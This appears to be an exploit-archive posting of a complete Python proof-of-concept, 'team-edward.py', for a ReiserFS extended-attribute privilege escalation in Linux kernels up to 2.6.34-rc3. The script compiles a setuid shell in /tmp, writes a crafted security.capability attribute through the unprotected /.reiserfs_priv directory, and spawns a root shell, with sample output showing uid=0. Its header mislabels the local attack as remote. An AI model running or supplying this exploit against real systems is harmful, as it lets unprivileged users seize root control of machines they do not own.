Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation

2010.04.10
Credit: null
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/env python ''' team-edward.py Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation Jon Oberheide <jon@oberheide.org> http://jon.oberheide.org Information: https://bugzilla.redhat.com/show_bug.cgi?id=568041 The kernel allows processes to access the internal ".reiserfs_priv" directory at the top of a reiserfs filesystem which is used to store xattrs. Permissions are not enforced in that tree, so unprivileged users can view and potentially modify the xattrs on arbitrary files. Usage: $ python team-edward.py [+] checking for reiserfs mount with user_xattr mount option [+] checking for private xattrs directory at /.reiserfs_priv/xattrs [+] preparing shell in /tmp [+] capturing pre-shell snapshot of private xattrs directory [+] compiling shell in /tmp [+] setting dummy xattr to get reiserfs object id [+] capturing post-shell snapshot of private xattrs directory [+] found 1 new object ids [+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468 [+] spawning setuid shell... # id uid=0(root) gid=0(root) groups=4(adm), ... Notes: Obviously requires a ReiserFS filesystem mounted with extended attributes. Tested on Ubuntu Jaunty 9.10. ''' import os, sys SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }' XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' def err(txt): print '[-] error: %s' % txt sys.exit(1) def msg(txt): print '[+] %s' % txt def main(): msg('checking for reiserfs mount with user_xattr mount option') f = open('/etc/fstab') for line in f: if 'reiserfs' in line and 'user_xattr' in line: break else: err('failed to find a reiserfs mount with user_xattr') f.close() msg('checking for private xattrs directory at /.reiserfs_priv/xattrs') if not os.path.exists('/.reiserfs_priv/xattrs'): err('failed to locate private xattrs directory') msg('preparing shell in /tmp') f = open('/tmp/team-edward.c', 'w') f.write(SHELL) f.close() msg('capturing pre-shell snapshot of private xattrs directory') pre = set(os.listdir('/.reiserfs_priv/xattrs')) msg('compiling shell in /tmp') ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward') if ret != 0: err('error compiling shell, you need gcc') msg('setting dummy xattr to get reiserfs object id') os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward') if ret != 0: err('error setting xattr, you need setfattr') msg('capturing post-shell snapshot of private xattrs directory') post = set(os.listdir('/.reiserfs_priv/xattrs')) objs = post.difference(pre) msg('found %s new object ids' % len(objs)) for obj in objs: msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj) f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w') f.write(XATTR) f.close() msg('spawning setuid shell...') os.system('/tmp/team-edward') if __name__ == '__main__': main()


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